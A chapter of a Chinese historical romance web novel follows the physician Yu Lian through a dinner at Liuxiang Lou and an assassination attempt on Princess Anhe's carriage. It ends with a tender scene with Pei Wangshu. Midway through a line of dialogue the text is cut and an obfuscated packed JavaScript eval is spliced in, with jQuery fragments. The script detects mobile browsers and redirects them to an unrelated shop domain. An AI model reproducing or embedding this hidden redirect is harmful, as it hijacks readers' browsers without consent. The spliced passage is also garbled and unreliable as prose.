留香楼依旧富丽堂皇,依旧人山人海,和外面街上游玩的人一样多。不过也可能是余怜夸大了,毕竟她又没有真的数过。
包厢里,隔着屏峰外间是用饭的,内间有乐户演奏曲子。隔音做的到是好,不然怕是再好听的乐曲杂糅在一起也是呕哑嘲哳难为听了。
包厢里不仅器物讲究,摆设也讲究,哪儿哪儿都透露出奢靡的味道。
余怜又突然想起彭留闲,她觉得那人死的有点早了,应该再好好讹一笔的。
“余怜,”珍宝叫道,“你等会儿还要再逛逛吗?”
余怜摇头:“不了,今日逛的够久该回去了。刚好院子里晾晒的药材没收,晚点的话怕沾上露水。”
“好吧,刚好让裴望舒送你回去。”珍宝安排好余怜又看向边旭,“你要送我回去,但回去的路上再冷着一张脸我就要收拾你了!”她威胁。
裴望舒看热闹不嫌事大,继续添火:“边指挥使可能只对你冷冰冰的,我上次去他当值的地方可遇到他对一女子笑脸相迎。”他咂咂嘴又说:“可见边指挥使怕是……”
话没说完就被边旭冰冷的眼神杀的没声了,余怜也终于见到这人脸上出现另外的表情。
有点紧张?或者说是慌乱?
反正这种情绪出现在边旭的脸上,就像万年冰山裂了个口子。
“别听他胡说!”赶在珍宝再次发火前边旭开口,“禁卫司怎么可能有女子,他最是喜欢胡说八道的,嘴里能有什么好话。”
珍宝表情变了又变,他这是着急在给自己解释吗?
没等她细想,裴望舒就露出被伤害的模样,不可置信道:“原来我在你心里就是这样的人,我今日算是看透你了!”转头对还没回神的珍宝喊:“都是给你说话害的,现在我可不要这个兄弟了。”
珍宝一脸嫌弃,胡昂也一言难尽。
裴望舒看他们的表情更来劲了,捂着心口哀嚎:“好啊,你们一个两个都这样,我算是看错你们了!”他刚说完话就转向余怜,让自己委屈的表情能被看得更清楚,“我真的好心痛,余大夫快看看我的心是不碎了。”
余怜觉得他的戏有点过了,过的她想立马钻进桌底,但秉持着医者仁心的理念,她忍住了。
饭桌前三个人,六只眼睛齐刷刷盯着一本正经的余怜缓慢抬起手,而后放在裴望舒早就将手拿开而敞开的心口上。
“扑通,扑通,扑通……”强壮的像牛一样,健康的不能再健康的心跳声传入余怜手心,她启唇:“你的心确实有点碎了,但没关系,修养一阵就好。”
看着余怜干过什么的三人一同露出目瞪口呆的样子,原以为余怜是个正经人,结果没想到人不可貌相啊!
珍宝内心痛苦呐喊:难道不是清冷美人吗,怎么变成这样了?我看上的好朋友呢?一定是裴望舒的错!她幽怨的盯着裴望舒,恨不得将他拆了。
边旭平静看待:物以类聚,人以群分。老祖宗说的果然没错,一定要远离裴望舒身边的任何人!他想通后默默挪凳子,让自己离身边的胡昂更远点,还想再挪珍宝的凳子,让她离余怜远点,但没敢。
胡昂差点痛哭流涕:余大夫和哥果然是天作之合!他就没见过能面不改色接住裴望舒烂戏的人,一定是真爱!他无声呐喊,表情也变成激动——激动的想立马让余怜和裴望舒成婚。
余怜抽回手紧紧安放在腿上,想忽视还若隐若现的心跳。她刚也感觉脸热的要命,要不是自己医德高,她才不这么干,还有今天这手怎么这么奇怪?还没想通就看到三人三色的看她。
珍宝率先开口:“余怜你还好吗?”
余怜觉得今天除了手有点怪怪的,其余都很好,但珍宝问的又让她摸不着头脑,于是她犹疑地点头,“为什么这么问?”
“没事,没事,只不过突然想起来了。”珍宝嘿嘿一下,别过头不看她。
余怜又看向另外两人,得到同样的回答。
唯一知道为什么这么问的裴望舒当然也不会好心地告诉她答案,即使他们的的交情上加了三次碰手和一次烂戏的主角。
留香楼的饭菜适时送上来,结束了这场闹剧。
酒足饭饱后已是快到宵禁的时刻,一行人浩浩荡荡的出楼。珍宝的马车够大,四个人坐在里面还不算拥挤,胡昂理所当然的被打发赶车。
“先跟我一程,到岔路了再和裴望舒一起吧。”珍宝手撑在马车的小几上说。
裴望舒坐在余怜旁边嘟囔:“说这么多遍早记住了,耳朵都要起茧子……”余怜瞟了一眼,让他收敛点。
珍宝没听清,光看到他嘴动,想到裴望舒的狗嘴没什么好话质问道:“你刚说了什么?”
“没……”
刚出来一个字,还是个气音就没了下文。是马车突然停住了,车厢内裴望舒和边旭最先反应过来,迅速扶住另外两人后对视。长久的默契让他们迅速明白对方的意思,也迅速察觉到车厢外的情况。
“待在里面别出来!”
帘子落下前,裴望舒的话和他的背影一起出现,而后又被隔绝。余怜看着帘子想,这可能是她听过裴望舒说的最正经的一句话了。
刀剑拼杀的声音,穿透血肉的声音,还有受伤惨叫的声音混杂在一起,让人瞬间在脑海里构思出一副厮杀的场景。车厢的帘子很好的隔绝了外面的世界,坐在里面的两人静默无声,只能寄希望于外面三人。
余怜一边听着外面的动静一边分神关注珍宝。
珍宝严肃的端坐,有点紧张但不见害怕,反而散发着老成的气息。她忽然动嘴,嗓音很低的问道:“你不怕吗?”
余怜回望过去,眼眶里的人神情未变,就像从未发声一样。她摇头,看到珍宝的视线并未落到自己身上后,又张嘴回复:“我不怕。”
余怜说的确实是实话,她不怕不仅是因为感知不到这种情绪,更因为她看的很开。
人固有一死,只不过或早或晚罢了。
就像她本以为自己的一辈子会困死在阳春峰上,可如娘死了,她还来到上京城。就像她明知自己的身体可能撑不到找到心脏的那天,可她还是尽力寻找线索。
像是一种执念,不过找不到也没关系,但也总要做出行动。就像现在,要是外面三人打不过的话,她也不会坐以待毙,衣袖里藏的毒药足够她放倒几人。即使还是难逃一死,但也为自己拼过一线生机,那也足够了。
那也足够了,即使死在了找回心脏的路上……
余怜抬手放到胸口,掌心下什么都感觉不到,还是空荡荡的。是那种前胸后背打上孔,会立即经过穿堂风的空。她突然想再感受感受裴望舒的心跳声了,那种健康的,蓬勃的生命力让她有些着迷。
她想和裴望舒保持心脏共同震荡。
余怜得出一条让自己感到奇怪的结论。
外面的声音变小了,厮杀接近尾声。有人喊到:“留下活口抓回去盘问。”这声音不是裴望舒的,余怜猜想应该是边旭的,因为她看到珍宝紧绷的身体稍微放松下来。
余怜旁边的窗帘被掀开,是裴望舒。剧烈的打斗让他还在喘气,脸上到还是干干净净,但手上沾了血,衣服也有划开的痕迹,深一块儿浅一块儿。
“都处理完了,我叫了人马上来,等处理好了再把你们送走。”在放下窗帘的那一刻又说,“很快。”声音里还带着杀气,但在最后两个字里迅速消失的一干二净。
余怜和珍宝的视线再次被阻隔。
珍宝彻底放松,端坐时折叠在腿上的双手滑落到两腿边,手红的像被开水烫过,下一秒又被宽大的衣袖遮住。她眼神终于聚焦起来,微张嘴呼吸。
一只手进入她的视线,不大的,洁白的掌心上有一粒小小的丸子。
珍宝疑惑抬头:“这是什么意思”
“吃了心情能好受点。”余怜解释,手又往上抬了抬,“尝尝?”
珍宝想拒绝的,面前的人和她只相识了片刻,她没有勇气去相信。但手有自己的想法,在她纠结的这会儿功夫里,那个黑色的丸子已经放入嘴中。
“糖?”珍宝诧异道。
余怜摇头有点头:“是我自己做的药丸,多加了甘草和黄精就变甜了,也能当个零嘴。”她翻了下衣服,掏出一个小瓶子,“做得多,这个给你吧,吃了能补脾益气。”
这本来是老汤托她给自己小儿子做的,他不想让小儿子吃糖,就用药丸代替,余怜照顾小孩子的口味就做的甜。
“你不怕我给你的药丸是毒药吗?”看着情绪变好的珍宝,她突然问。
珍宝愣了一下,实话实说:“怕。”
“那你还吃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275141|198203||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
“不知道,”珍宝有点茫然,“但我的直觉告诉我,你好像不太想害我。而且你要是真把我杀了,外面三个肯定能给我报仇。”她笑起来,像是随口一说。
外面如裴望舒所言收拾得很快,马车重新启程,但两人没再上车。行至岔路,余怜下了马车同珍宝道别,夜色里只有她和沾着血腥味儿的裴望舒。
余怜下意识贴近裴望舒,结果被躲开了。
“身上有血味儿,别把你弄脏了。”裴望舒轻声说,他赶着余怜,“快走吧,晚上不安全。”
余怜道:“回去我给你看看伤口。”
“好的。不过都是小伤,应该不费事。”
岔路口离她的院子不远,赶在宵禁的那一刻终于赶到。余怜手脚麻利的点上灯火,又探查裴望舒身上的伤口。还好真是小伤,否则靠她屋里这点儿伤药怕是不够。
裴望舒垂眸注视忙着给他处理伤口的人。他其实很希望自己受伤,只有这样余怜在给他包扎时才会离得很近,能让他觉得自己和余怜的距离并不远。他总觉得自己看不透余怜,对方表面上是豁达通透,甚至有点不近人情,但他能感觉到,余怜身上总蒙着一层纱。
“今天被吓到了吗?”裴望舒低头问。
余怜包扎的动作不停,随意摇头,“你知道他们是谁吗?”
裴望舒道:“不清楚,但留了活口就看能不能审出来了。”伤口包扎好了,他活动了一下胳膊。
余怜收好药瓶,背靠着架子发问:“那些人是来杀珍宝的对吗?她就是安和公主。”
裴望舒活动胳膊的动作停顿,他不禁感慨余怜果然很聪明,“你是怎么看出来的?”他问。
余怜走回桌边:“你们不也没想藏嘛。”她细数,“安和公主名字带珍,她又叫珍宝,殿前司指挥使还陪着一起。当然还有你这位镇抚司镇抚,那不就很显而易见嘛。”
她又说:“况且珍宝的一身行头虽然已经刻意低调了,但和普通人相比还是一眼能分辨出来的。”
裴望舒听她分析完夸道:“你真聪明。”
余怜没再说话,裴望舒也闭上嘴。
屋里寂静无声,屋外看不见的蟋蟀发出节奏稳定的“唧唧”声,水荡边的青蛙“呱呱”地叫,还有野猫在房上穿梭的声音。
“你今夜宿在我这儿吗?”余怜问。
裴望舒转过头回道:“算了,回去要查那几个人。”天知道他说出这句违心的话用了多强的意志力,之前在阳春峰每次都是时间紧任务重,从不敢答应余怜留宿,结果来了上京他依旧不行。
他默默探出一口气:“我先走了,你好好休息,以后晚上一定要回来早点啊。”
余怜点头回应。
“行了,快回去吧。”裴望舒两步走到院子里对余怜说。
眼看他就要碰到大门,余怜忽然喊到:“等等!”
裴望舒立即停住,转过身子看叫住他的人像只蝴蝶飞来,还是一只半见黄的蝴蝶。
“怎么了?”他笑着问。
余怜不是一个喜欢撒谎的人,但她不知道自己等会儿说出来的话是该用真话还是假话。但还好她聪明,想出了一个不用纠结的办法。
“我今天在留香楼帮你演了戏,那你是不是应该礼尚往来的帮我?”
裴望舒眨眨眼睛,他很好奇,到底是什么事能让余怜绕这么大个圈子,“当然了,所以是什么事啊。”
余怜在他的注视下又往前走了几步,距离瞬间缩短,她语气认真:“那你再让我摸摸你的心。”终于把在马车上就想干的事说出来,余怜感到一阵轻松。
但裴望舒心乱如麻。
明明知道余怜这句话没带着一丝歧义,甚至认真到像是在问你今天吃了没,但裴望舒莫名觉得,这完全就是一句动听的情话。
裴望舒觉得自己这下要是开口说话的话,一定不成声调。于是他牵起余怜的手按向自己的心口,用行动表明——我可以。
掌心下的心跳的很有力,甚至比先前还要活跃。
余怜静静感受,裴望舒悄悄注视她。
这一角偏院里,一位感受生命的气息,一位感受爱意的蔓延。只有天上的星星,屋角的喜树,以及掠过的晚风见证这一刻。
片刻后,院子里只剩搓着手心的余怜。